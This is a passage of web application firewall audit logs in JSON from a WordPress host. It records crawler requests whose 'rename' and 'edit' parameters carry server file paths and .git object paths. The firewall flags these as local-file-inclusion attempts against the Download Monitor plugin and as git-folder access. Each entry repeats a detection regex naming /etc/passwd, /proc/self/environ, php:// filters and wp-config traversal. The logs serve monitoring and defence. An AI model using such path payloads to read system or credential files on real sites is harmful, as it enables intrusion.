/htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":176,"p2":3130,"p3":0,"p4":0,"p5":214,"sr":120,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:33:23.619489 +0100","transaction_id":"abPZ4nIphvtP7WWXUSj07wAAA0A","remote_address":"57.141.20.2","remote_port":35956,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/zoneinfo/America/North_Dakota/Beulah HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.2","X-Forwarded-Proto":"https","X-Request-Id":"124dfbc9e855a578b6c938efc2167103","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13501531"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"124dfbc9e855a578b6c938efc2167103","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/zoneinfo/America/North_Dakota/Beulah||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":202,"p2":4472,"p3":0,"p4":0,"p5":276,"sr":97,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:34:25.036417 +0100","transaction_id":"abPaILCzAav4SF4Q40bQ9QAAAws","remote_address":"57.141.20.6","remote_port":37458,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/wp-pagenavi/wp-pagenavi.2.94.0.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"c57a93ef8770b5f3e92806010cc571fb","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7411518"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c57a93ef8770b5f3e92806010cc571fb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/wp-pagenavi/wp-pagenavi.2.94.0.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":327,"p2":6819,"p3":0,"p4":0,"p5":302,"sr":173,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:34:52.115547 +0100","transaction_id":"abPaO3IphvtP7WWXUSj1vAAAA0s","remote_address":"57.141.20.42","remote_port":37450,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/gez_ER/LC_CTYPE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.42","X-Forwarded-Proto":"https","X-Request-Id":"69f109a7090e42aa04f756c07cc7cb31","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13993200"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"69f109a7090e42aa04f756c07cc7cb31","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/gez_ER/LC_CTYPE||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":194,"p2":6743,"p3":0,"p4":0,"p5":323,"sr":135,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:35:19.840794 +0100","transaction_id":"abPaV-mBQ3Rl-w2bjLXNRQAAA80","remote_address":"57.141.20.13","remote_port":60398,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/v/vt100 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.13","X-Forwarded-Proto":"https","X-Request-Id":"91f922f6a837273a287144871d93c650","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13273205"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"91f922f6a837273a287144871d93c650","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/v/vt100||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":183,"p2":4098,"p3":0,"p4":0,"p5":363,"sr":134,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:35:41.109292 +0100","transaction_id":"abPabOmBQ3Rl-w2bjLXNawAAA8E","remote_address":"57.141.20.6","remote_port":55894,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/pw-woocommerce-gift-cards/pw-woocommerce-gift-cards.2.35.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"59515e3e797a437cfb73a6b5b57c0789","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10065148"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"59515e3e797a437cfb73a6b5b57c0789","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/pw-woocommerce-gift-cards/pw-woocommerce-gift-cards.2.35.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":243,"p2":4644,"p3":0,"p4":0,"p5":375,"sr":123,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:36:08.268319 +0100","transaction_id":"abPah7CzAav4SF4Q40bSTgAAAws","remote_address":"57.141.20.2","remote_port":53302,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/o/oblit HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.2","X-Forwarded-Proto":"https","X-Request-Id":"42cbc70844f8caed9566d9af87cbd99d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2820731"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"42cbc70844f8caed9566d9af87cbd99d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/o/oblit||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":285,"p2":9950,"p3":0,"p4":0,"p5":301,"sr":170,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:36:14.430459 +0100","transaction_id":"abPajnIphvtP7WWXUSj3NQAAA1M","remote_address":"57.141.20.15","remote_port":53430,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/3b/d20215324774a7f9ff65b6aa44db849a2b12dd HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.15","X-Forwarded-Proto":"https","X-Request-Id":"91dc1ece2f52998e0f6dd499f398e711","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1936258"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"91dc1ece2f52998e0f6dd499f398e711","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/3b/d20215324774a7f9ff65b6aa44db849a2b12dd||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":230,"p2":4116,"p3":0,"p4":0,"p5":320,"sr":105,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:36:27.321963 +0100","transaction_id":"abPamwD183AB0cBw8XSf6gAAAAA","remote_address":"57.141.20.48","remote_port":54146,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ed/f52d9d0a2e8c08e2c477ca344a4de6ea2ef709 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"c19625c618e68d972c32f01e6840c8d0","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"725121"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c19625c618e68d972c32f01e6840c8d0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ed/f52d9d0a2e8c08e2c477ca344a4de6ea2ef709||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":183,"p2":3769,"p3":0,"p4":0,"p5":234,"sr":97,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:36:34.368254 +0100","transaction_id":"abPaoO6R5fbMSFGjtYpICwAAAtM","remote_address":"57.141.20.42","remote_port":35134,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/d/dataspeed40 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.42","X-Forwarded-Proto":"https","X-Request-Id":"0402d2693b4ca95bca8894a524697f24","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10457619"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0402d2693b4ca95bca8894a524697f24","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/d/dataspeed40||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":258,"p2":4513,"p3":0,"p4":0,"p5":403,"sr":116,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:36:40.220810 +0100","transaction_id":"abPap2drDvLH9JWT54DmfAAAAEg","remote_address":"57.141.20.6","remote_port":58848,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/htdocs/jmknew.jmkconsulting-ci.com/fromgit/JMKFilamentDB/.git/objects/a3/5a13d3ac08d00d6f86cf62d38344bc213fc8c5 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"26e8a3659250c50810dfc4233edd2a53","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9145512"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"26e8a3659250c50810dfc4233edd2a53","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/fresh-vegetables/?rename=/htdocs/jmknew.jmkconsulting-ci.com/fromgit/jmkfilamentdb/.git/objects/a3/5a13d3ac08d00d6f86cf62d38344bc213fc8c5||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":337,"p2":6704,"p3":0,"p4":0,"p5":385,"sr":145,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:36:51.738559 +0100","transaction_id":"abPas3IphvtP7WWXUSj3eQAAA0g","remote_address":"57.141.20.2","remote_port":58696,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/t/tws2103 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.2","X-Forwarded-Proto":"https","X-Request-Id":"9b5f886c8819b8ed75af6db486884b6b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13273278"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9b5f886c8819b8ed75af6db486884b6b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/tws2103||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":195,"p2":3827,"p3":0,"p4":0,"p5":357,"sr":92,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:10:36:57.018940 +0100","transaction_id":"abPauO6R5fbMSFGjtYpIQwAAAsI","remote_address":"57.141.20.33","remote_port":58822,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/opt/php7.1/lib/php/PEAR/XMLParser.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.33","X-Forwarded-Proto":"https","X-Request-Id":"9233a2eb62ebad5b41e2c438db51d9da","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6754331"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9233a2eb62ebad5b41e2c438db51d9da","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.1/lib/php/PEAR/XMLParser.php||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag 